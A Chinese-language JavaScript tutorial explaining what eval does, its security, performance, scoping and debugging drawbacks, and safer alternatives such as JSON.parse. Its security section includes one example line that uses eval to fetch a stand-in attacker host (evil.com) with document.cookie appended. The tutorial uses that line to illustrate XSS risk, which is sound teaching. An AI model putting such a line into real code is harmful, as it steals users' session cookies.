eval 函数的作用与弊端

了解 eval 的用途、安全风险和替代方案

问题

eval 是做什么的?有什么弊端?

解答

eval 的作用

eval() 函数将传入的字符串作为 JavaScript 代码执行,并返回执行结果。

// 基本用法
eval('1 + 2'); // 3
eval('console.log("hello")'); // 输出 hello

// 执行变量声明
eval('var x = 10');
console.log(x); // 10

// 执行函数
eval('function add(a, b) { return a + b }');
add(1, 2); // 3

eval 的弊端

1. 安全风险

eval 会执行任意代码,如果执行了用户输入的内容,可能导致 XSS 攻击。

// 危险示例:执行用户输入
const userInput = 'alert("你被攻击了")'; // 假设这是用户输入
eval(userInput); // 弹出警告框

// 更危险的情况
const malicious = 'fetch("https://evil.com?cookie=" + document.cookie)';
eval(malicious); // 用户 cookie 被窃取

2. 性能问题

eval 中的代码无法被 JavaScript 引擎预编译和优化。

// 普通代码 - 可以被引擎优化
function sum(a, b) {
  return a + b;
}

// eval 代码 - 无法优化,每次都要解析
function evalSum(a, b) {
  return eval('a + b');
}

3. 作用域污染

eval 可以访问和修改当前作用域的变量。

function test() {
  let secret = '机密数据';
  eval('secret = "被篡改了"'); // 直接修改了局部变量
  console.log(secret); // "被篡改了"
}

4. 调试困难

eval 执行的代码在调试时难以追踪,错误堆栈信息不清晰。

// 错误信息只会显示 eval 内部,难以定位问题
eval('function foo() { throw new Error("出错了") }; foo()');
// Error: 出错了
//     at foo (eval at <anonymous>)
//     at eval (eval at <anonymous>)

替代方案

// 1. 解析 JSON - 用 JSON.parse 代替 eval
const jsonStr = '{"name": "张三", "age": 20}';
// 不要这样做
const obj1 = eval('(' + jsonStr + ')');
// 应该这样做
const obj2 = JSON.parse(jsonStr);

// 2. 动态执行代码 - 用 Function 构造函数(相对安全)
// Function 在全局作用域执行,不能访问局部变量
const add = new Function('a', 'b', 'return a + b');
add(1, 2); // 3

// 3. 计算表达式 - 用专门的库如 math.js
// 不要用 eval 计算用户输入的数学表达式

关键点

  • eval 将字符串作为 JS 代码执行,返回执行结果
  • 安全风险:可执行恶意代码,导致 XSS 攻击
  • 性能问题:代码无法被引擎预编译优化
  • 作用域污染:可访问和修改当前作用域变量
  • 替代方案:JSON.parse 解析 JSON,Function 构造函数执行动态代码